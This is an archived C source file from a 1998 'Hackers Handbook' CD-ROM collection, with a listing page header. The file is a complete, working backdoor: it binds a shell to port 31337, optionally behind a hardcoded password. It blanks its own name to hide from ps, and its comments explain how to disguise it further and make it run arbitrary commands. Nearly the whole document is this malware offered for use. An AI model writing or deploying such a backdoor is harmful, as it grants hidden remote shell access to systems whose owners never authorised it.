home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / b4b0.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-19  |  3.2 KB  |  120 lines

  1. /* b4b0.c - Ok so1o, listen carefully. This backdoor just binds a shell to
  2.  *          the port of your choice on any given mashine. You can compile
  3.  *          this to support password authentication or to just drop you into
  4.  *          a root shell. Compile with -DPASSAUTH to suppost password auth. 
  5.  *          "WHAT!??!?" you say so1o? No, you cant just use your traditional 
  6.  *          cc teknEEq. Modify the line that says strcpy(argv[0], ""); to hold
  7.  *          whatever you want the backdoor to apear as to ps. You can easily 
  8.  *          modify this to run whatever you want on the server when connected
  9.  *          to. 
  10.  *          august something/98
  11.  *          by r4lph m4lph.....
  12.  *          gardener of the b4b0 drug fields in Bogota, Columbia.
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <errno.h>
  18. #include <strings.h>
  19. #include <netinet/in.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <signal.h>
  23.  
  24. #define PORT 31337  /* p0rt */
  25. #define MSG "w3rD t0 d4 skrEEp7 k1dz\n"
  26. #define SHELL "/bin/sh"
  27. #ifdef PASSAUTH
  28. #define PASSWD "fuQ_l4mB"  /* p4sswh0rd */
  29. #endif
  30. #define YES 1  /* y3z 3y3 fuQ l4mBz */
  31. #define NO 0  /* n0 3y3 dEEd n0t fuQ m0n1qA */
  32.  
  33. int main(int argc, char *argv[]);
  34.  
  35. #ifdef PASSAUTH
  36. int login(int EffDee);
  37. #endif
  38.  
  39. int main(int argc, char *argv[])
  40. {
  41.    int sockfd, newfd, size;
  42.    struct sockaddr_in local;
  43.    struct sockaddr_in remote;
  44.    
  45.    strcpy(argv[0], "");
  46.    signal(SIGCHLD, SIG_IGN); /* 1gn0re th3 d1e1ng fUq1ng k1dz */
  47.    
  48.    bzero(&local, sizeof(local));
  49.    local.sin_family = AF_INET;
  50.    local.sin_port = htons(PORT);
  51.    local.sin_addr.s_addr = INADDR_ANY;
  52.    bzero(&(local.sin_zero), 8);
  53.    
  54.    if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)
  55.      {
  56.         perror("socket");
  57.         exit(1);
  58.      }
  59.    if(bind(sockfd, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)
  60.      {
  61.         perror("bind");
  62.         exit(1);
  63.      }
  64.    if(listen(sockfd, 5) == -1)
  65.      {
  66.         perror("listen");
  67.         exit(1);
  68.      }
  69.    size = sizeof(struct sockaddr_in);
  70.    
  71.    while(1)
  72.      {
  73.         if((newfd=accept(sockfd, (struct sockaddr *)&remote, &size)) == -1)
  74.           {
  75.              perror("accept");
  76.              exit(1);
  77.           }
  78.  
  79.         if(!fork())
  80.           {
  81.              send(newfd, MSG, sizeof(MSG), 0); /* s4y h1 t0 so1o */
  82.              
  83.              #ifdef PASSAUTH
  84.              if(login(newfd) != 1)
  85.                { 
  86.                   send(newfd, "FUCK OFF\n", 9, 0); /* s4y bY3 t0 so1o */
  87.                   close(newfd);
  88.                   exit(1);
  89.                }
  90.              #endif
  91.              
  92.              close(0); close(1); close(2);
  93.              dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2);  
  94.              execl(SHELL, SHELL, (char *)0); close(newfd); exit(0);
  95.           }
  96.         close(newfd);
  97.      }
  98.    
  99.    return(0);
  100. }
  101.  
  102. #ifdef PASSAUTH
  103. int login(int EffDee)
  104. {
  105.    char u_passwd[15];
  106.    int i;
  107.    send(EffDee, "Password: ", 11, 0); /* l0g1n so1o */
  108.    recv(EffDee, u_passwd, sizeof(u_passwd), 0);
  109.    for(i=0;i<strlen(u_passwd);i++)
  110.      {
  111.         if(u_passwd[i] == '\n' || u_passwd[i] == '\r')
  112.           u_passwd[i] = '\0';
  113.      }
  114.    if(strcmp(PASSWD, u_passwd) == 0)
  115.      return(YES);  /* y3z 3y3 fuQ l4mBz */
  116.    else
  117.      return(NO);  /* n0 3y3 dEEd n0t fuQ m0n1qA */
  118. }
  119. #endif
  120.